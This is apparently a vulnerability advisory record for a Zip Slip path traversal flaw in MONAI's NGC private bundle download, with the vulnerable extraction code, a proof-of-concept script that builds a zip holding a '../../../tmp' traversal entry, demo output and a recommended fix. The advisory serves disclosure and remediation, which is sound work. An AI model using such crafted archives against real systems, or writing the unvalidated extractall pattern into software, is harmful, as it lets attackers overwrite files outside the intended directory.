{"id":"PYSEC-2026-1678","summary":"MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download","details":"## Summary\n\nA **Path Traversal (Zip Slip)** vulnerability exists in MONAI's `_download_from_ngc_private()` function. The function uses `zipfile.ZipFile.extractall()` without path validation, while other similar download functions in the same codebase properly use the existing `safe_extract_member()` function.\n\nThis appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.\n\n**CWE:** CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File:** `monai/bundle/scripts.py`  \n**Lines:** 291-292  \n**Function:** `_download_from_ngc_private()`\n\n```python\n# monai/bundle/scripts.py - Lines 284-293\nzip_path = download_path / f\"{filename}_v{version}.zip\"\nwith open(zip_path, \"wb\") as f:\n    f.write(response.content)\nlogger.info(f\"Downloading: {zip_path}.\")\nif remove_prefix:\n    filename = _remove_ngc_prefix(filename, prefix=remove_prefix)\nextract_path = download_path / f\"{filename}\"\nwith zipfile.ZipFile(zip_path, \"r\") as z:\n    z.extractall(extract_path)  # \u003c-- No path validation\n    logger.info(f\"Writing into directory: {extract_path}.\")\n```\n\n### Root Cause\n\nThe code calls `z.extractall(extract_path)` directly without validating that archive member paths stay within the extraction directory.\n\n### Safe Code Already Exists\n\nMONAI already has a safe extraction function in `monai/apps/utils.py` (lines 125-154) that properly validates paths:\n\n```python\ndef safe_extract_member(member, extract_to):\n    \"\"\"Securely verify compressed package member paths to prevent path traversal attacks\"\"\"\n    # ... path validation logic ...\n    \n    if os.path.isabs(member_path) or \"..\" in member_path.split(os.sep):\n        raise ValueError(f\"Unsafe path detected in archive: {member_path}\")\n    \n    # Ensure path stays within extraction root\n    if os.path.commonpath([extract_root, target_real]) != extract_root:\n        raise ValueError(f\"Unsafe path: path traversal {member_path}\")\n```\n\n### Comparison with Other Download Functions\n\n| Function | File | Uses Safe Extraction? |\n|----------|------|----------------------|\n| `_download_from_github()` | scripts.py:198 | ✅ Yes (via `extractall()` wrapper) |\n| `_download_from_monaihosting()` | scripts.py:205 | ✅ Yes (via `extractall()` wrapper) |\n| `_download_from_bundle_info()` | scripts.py:215 | ✅ Yes (via `extractall()` wrapper) |\n| `_download_from_ngc_private()` | scripts.py:292 | ❌ No (direct `z.extractall()`) |\n\n---\n\n## PoC\n\n### Step 1: Create a Malicious Zip File\n\n```python\n#!/usr/bin/env python3\n\"\"\"Create malicious zip with path traversal entries\"\"\"\nimport zipfile\nimport io\n\ndef create_malicious_zip(output_path=\"malicious_bundle.zip\"):\n    zip_buffer = io.BytesIO()\n    \n    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:\n        # Normal bundle file\n        zf.writestr(\n            \"monai_test_bundle/configs/metadata.json\",\n            '{\"name\": \"test_bundle\", \"version\": \"1.0.0\"}'\n        )\n        \n        # Path traversal entry\n        zf.writestr(\n            \"../../../tmp/escaped_file.txt\",\n            \"This file was written outside the extraction directory.\\n\"\n        )\n    \n    with open(output_path, 'wb') as f:\n        f.write(zip_buffer.getvalue())\n    \n    print(f\"Created: {output_path}\")\n    with zipfile.ZipFile(output_path, 'r') as zf:\n        print(\"Contents:\")\n        for name in zf.namelist():\n            print(f\"  - {name}\")\n\nif __name__ == \"__main__\":\n    create_malicious_zip()\n```\n\n**Output:**\n```\nCreated: malicious_bundle.zip\nContents:\n  - monai_test_bundle/configs/metadata.json\n  - ../../../tmp/escaped_file.txt\n```\n\n### Step 2: Demonstrate the Difference\n\nThis script shows the difference between the vulnerable pattern (used in `_download_from_ngc_private`) and the safe pattern (used elsewhere in MONAI):\n\n```python\n#!/usr/bin/env python3\n\"\"\"Compare vulnerable vs safe extraction\"\"\"\nimport zipfile\nimport tempfile\nimport os\n\ndef vulnerable_extraction(zip_path, extract_path):\n    \"\"\"Pattern used in monai/bundle/scripts.py:291-292\"\"\"\n    os.makedirs(extract_path, exist_ok=True)\n    with zipfile.ZipFile(zip_path, \"r\") as z:\n        z.extractall(extract_path)\n    print(\"[VULNERABLE] Extraction completed without validation\")\n\ndef safe_extraction(zip_path, extract_path):\n    \"\"\"Pattern used in monai/apps/utils.py\"\"\"\n    os.makedirs(extract_path, exist_ok=True)\n    with zipfile.ZipFile(zip_path, \"r\") as zf:\n        for member in zf.infolist():\n            member_path = os.path.normpath(member.filename)\n            \n            # Check for path traversal\n            if os.path.isabs(member_path) or \"..\" in member_path.split(os.sep):\n                print(f\"[SAFE] BLOCKED: {member.filename}\")\n                continue\n            \n            print(f\"[SAFE] Allowed: {member.filename}\")\n\n# Run demo\nprint(\"=\" * 50)\nprint(\"VULNERABLE PATTERN (scripts.py:291-292)\")\nprint(\"=\" * 50)\nwith tempfile.TemporaryDirectory() as tmpdir:\n    vulnerable_extraction(\"malicious_bundle.zip\", tmpdir)\n    for root, dirs, files in os.walk(tmpdir):\n        for f in files:\n            rel_path = os.path.relpath(os.path.join(root, f), tmpdir)\n            print(f\"  Extracted: {rel_path}\")\n\nprint()\nprint(\"=\" * 50)\nprint(\"SAFE PATTERN (apps/utils.py)\")\nprint(\"=\" * 50)\nwith tempfile.TemporaryDirectory() as tmpdir:\n    safe_extraction(\"malicious_bundle.zip\", tmpdir)\n```\n\n**Output:**\n```\n==================================================\nVULNERABLE PATTERN (scripts.py:291-292)\n==================================================\n[VULNERABLE] Extraction completed without validation\n  Extracted: monai_test_bundle/configs/metadata.json\n  Extracted: tmp/escaped_file.txt\n\n==================================================\nSAFE PATTERN (apps/utils.py)\n==================================================\n[SAFE] Allowed: monai_test_bundle/configs/metadata.json\n[SAFE] BLOCKED: ../../../tmp/escaped_file.txt\n```\n\n---\n\n## Impact\n\n### Conditions Required for Exploitation\n\n1. Attacker must control or compromise an NGC private repository\n2. Victim must configure MONAI to download from that repository\n3. Victim must use `source=\"ngc_private\"` parameter\n\n### Potential Impact\n\nIf exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on:\n- The permissions of the user running MONAI\n- The target location of the escaped files\n- Python version (newer versions have some built-in path normalization)\n\n### Mitigating Factors\n\n- Requires attacker to control an NGC private repository\n- Modern Python versions (3.12+) have some built-in path normalization\n- The `ngc_private` source is less commonly used than other sources\n\n---\n\n## Recommended Fix\n\nReplace the direct `extractall()` call with MONAI's existing safe extraction:\n\n```diff\n# monai/bundle/scripts.py\n\n+ from monai.apps.utils import _extract_zip\n\ndef _download_from_ngc_private(...):\n    # ... existing code ...\n    \n    extract_path = download_path / f\"{filename}\"\n-   with zipfile.ZipFile(zip_path, \"r\") as z:\n-       z.extractall(extract_path)\n-       logger.info(f\"Writing into directory: {extract_path}.\")\n+   _extract_zip(zip_path, extract_path)\n+   logger.info(f\"Writing into directory: {extract_path}.\")\n```\n\nThis aligns `_download_from_ngc_private()` with the other download functions and ensures consistent security across all download sources.\n\n---\n\n## Resources\n\n- [CWE-22: Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html)\n- [Snyk: Zip Slip Vulnerability](https://security.snyk.io/research/zip-slip-vulnerability)\n- [Python zipfile.extractall() Warning](https://docs.python.org/3/library/zipfile.html#zipfile.ZipFile.extractall)","aliases":["CVE-2026-21851","GHSA-9rg3-9pvr-6p27"],"modified":"2026-07-07T17:47:17.099981679Z","published":"2026-07-07T16:03:16.643508Z","references":[{"type":"WEB","url":"https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-9rg3-9pvr-6p27"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21851"},{"type":"WEB","url":"https://github.com/Project-MONAI/MONAI/commit/4014c8475626f20f158921ae0cf98ed259ae4d59"},{"type":"PACKAGE","url":"https://github.com/Project-MONAI/MONAI"},{"type":"PACKAGE","url":"https://pypi.org/project/monai"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9rg3-9pvr-6p27"}],"affected":[{"package":{"name":"monai","ecosystem":"PyPI","purl":"pkg:pypi/monai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.2"}]}],"versions":["0.0.1","0.1.0","0.2.0","0.3.0","0.4.0","0.5.0","0.5.1","0.5.2","0.5.3","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","0.9.1","1.0.0","1.0.1","1.1.0","1.2.0","1.3.0","1.3.1","1.3.2","1.3.2rc1","1.3.3rc1","1.4.0","1.4.0rc1","1.4.0rc10","1.4.0rc11","1.4.0rc12","1.4.0rc2","1.4.0rc3","1.4.0rc4","1.4.0rc5","1.4.0rc6","1.4.0rc7","1.4.0rc8","1.4.0rc9","1.4.1rc1","1.5.0","1.5.0rc1","1.5.1","1.5.2rc1"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/monai/PYSEC-2026-1678.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N"}]}